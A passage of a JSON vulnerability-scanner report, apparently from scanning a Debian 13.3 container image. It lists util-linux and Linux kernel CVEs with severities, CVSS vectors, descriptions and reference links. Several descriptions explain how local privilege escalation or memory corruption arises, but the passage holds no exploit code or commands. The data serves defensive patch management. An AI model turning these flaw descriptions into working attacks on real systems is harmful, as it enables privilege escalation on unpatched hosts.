"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e598024fc312dbe4eea4ce270f180eebf69a6e045ef899ff0176bf812d201f20", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8d1e4480225160bb72fafaf1b51e0a121ec2c28364e4d0fff77ebab3af809d7f", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f1cec2bfc8d09c669cce4ba31f3ac709a138c3583a30724e9bca251295b5c20", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dcbaa751b352ffa7364c7a0587d551a50d86c0797c1a2c776a59c9fd3f2f1366", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-43037", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43037", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:958d289dc844db326cd0976a0989d1423a211e2c91ca0a6c5a3c77c3d00dfc79", "Title": "kernel: ip6_tunnel: clear skb2-\u003ecb[] in ip4ip6_err()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: clear skb2-\u003ecb[] in ip4ip6_err()\n\nOskar Kjos reported the following problem.\n\nip4ip6_err() calls icmp_send() on a cloned skb whose cb[] was written\nby the IPv6 receive path as struct inet6_skb_parm. icmp_send() passes\nIPCB(skb2) to __ip_options_echo(), which interprets that cb[] region\nas struct inet_skb_parm (IPv4). The layouts differ: inet6_skb_parm.nhoff\nat offset 14 overlaps inet_skb_parm.opt.rr, producing a non-zero rr\nvalue. __ip_options_echo() then reads optlen from attacker-controlled\npacket data at sptr[rr+1] and copies that many bytes into dopt-\u003e__data,\na fixed 40-byte stack buffer (IP_OPTIONS_DATA_FIXED_SIZE).\n\nTo fix this we clear skb2-\u003ecb[], as suggested by Oskar Kjos.\n\nAlso add minimal IPv4 header validation (version == 4, ihl \u003e= 5).", "Severity": "CRITICAL", "CweIDs": [ "CWE-787", "CWE-121", "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 4, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:22964", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:23237", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25181", "https://access.redhat.com/errata/RHSA-2026:25186", "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:25193", "https://access.redhat.com/errata/RHSA-2026:25200", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:25533", "https://access.redhat.com/errata/RHSA-2026:25534", "https://access.redhat.com/errata/RHSA-2026:26528", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:27719", "https://access.redhat.com/errata/RHSA-2026:27729", "https://access.redhat.com/errata/RHSA-2026:28738", "https://access.redhat.com/errata/RHSA-2026:28740", "https://access.redhat.com/errata/RHSA-2026:28741", "https://access.redhat.com/errata/RHSA-2026:28742", "https://access.redhat.com/errata/RHSA-2026:28748", "https://access.redhat.com/errata/RHSA-2026:28749", "https://access.redhat.com/errata/RHSA-2026:28750", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:28962", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/errata/RHSA-2026:44232", "https://access.redhat.com/security/cve/CVE-2026-43037", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/2edfa31769a4add828a7e604b21cb82aaaa05925%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1063515ce15ff31065c4e7f8265f4c2fd3c54876", "https://git.kernel.org/stable/c/2cc6e3b0fe0f0242d1f530a93a4924f48ab85ba5", "https://git.kernel.org/stable/c/2edfa31769a4add828a7e604b21cb82aaaa05925", "https://git.kernel.org/stable/c/4a622658f384b03560834cbe8ffcfe69a278f7c8", "https://git.kernel.org/stable/c/590f622669b97eaf7b57a1de7b0a6e68c5d8b2c3", "https://git.kernel.org/stable/c/a0c4ce9900a108eaf55d0f3b399cb55999647d39", "https://git.kernel.org/stable/c/d6621f60192fe10c047a4487be42a6f4c150707f", "https://git.kernel.org/stable/c/ea9f65b27c8404e164848ebff1443310fd187629", "https://linux.oracle.com/cve/CVE-2026-43037.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/linux-cve-announce/2026050102-CVE-2026-43037-0346@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43037", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43037.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8667-1", "https://www.cve.org/CVERecord?id=CVE-2026-43037" ], "PublishedDate": "2026-05-01T15:16:48.383Z", "LastModifiedDate": "2026-10-19T20:18:01.703Z" }, { "VulnerabilityID": "CVE-2026-98432", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b94d44443c788aa75992ea9afda67f424be5483960662c3681592662f234863f", "Title": "kernel: ipv4: free inet_opt and ireq_opt after an RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free inet_opt and ireq_opt after an RCU grace period\n\ntcp_v4_syn_recv_sock() transfers ownership of ireq-\u003eireq_opt to the\nchild socket (newinet-\u003einet_opt) without copying it.\n\nAnother cpu can concurrently process a retransmitted SYN for the same\nrequest socket, and send a SYNACK from tcp_check_req().\ntcp_v4_send_synack() and inet_csk_route_req() read ireq-\u003eireq_opt\nunder rcu_read_lock() only, and ip_build_and_send_pkt() and\nip_options_build() then read opt-\u003eoptlen twice.\n\nNote that the SYNACK timer itself is not an issue: it holds a\nreference on its request socket, and inet_csk_reqsk_queue_drop()\ncalls timer_delete_sync() before the child can be freed.\n\nSince commit 079096f103fa (\"tcp/dccp: install syn_recv requests\ninto ehash table\"), request sockets are processed without holding\nthe listener lock, so nothing prevents the child socket from being\nfreed while the SYNACK is still being built. TCP child sockets do\nnot have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt\nwith a plain kfree(), leading to a use-after-free in\nip_options_build().\n\nA similar issue exists with request socket migration\n(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE\nprogram). reqsk_timer_handler() clones the request socket with\ninet_reqsk_clone(), so that the old request socket and its clone\nshare the same ireq_opt, then reqsk_migrate_reset() clears the\npointer in the old one. Another cpu holding a reference on the old\nrequest socket can still be using these options (sending a SYNACK,\nor creating a child in tcp_v4_syn_recv_sock()) when the clone is\nfreed, and tcp_v4_reqsk_destructor() also uses a plain kfree().\n\nReaders already use RCU, and other paths replacing inet_opt\n(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use\nkfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and\ntcp_v4_reqsk_destructor() as well.\n\nIPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()\nduplicates the options. tcp_v6_reqsk_destructor() has the same\nmigration issue with ipv6_opt, which is only set by CALIPSO. This\nwill be addressed in a separate patch.", "Severity": "CRITICAL", "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 4, "photon": 4, "redhat": 4, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "http://www.openwall.com/lists/oss-security/2026/10/30/1", "http://www.openwall.com/lists/oss-security/2026/10/30/6", "http://www.openwall.com/lists/oss-security/2026/10/31/5", "http://www.openwall.com/lists/oss-security/2026/11/03/1", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93415", "https://access.redhat.com/security/cve/CVE-2026-98432", "https://bugzilla.redhat.com/2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", 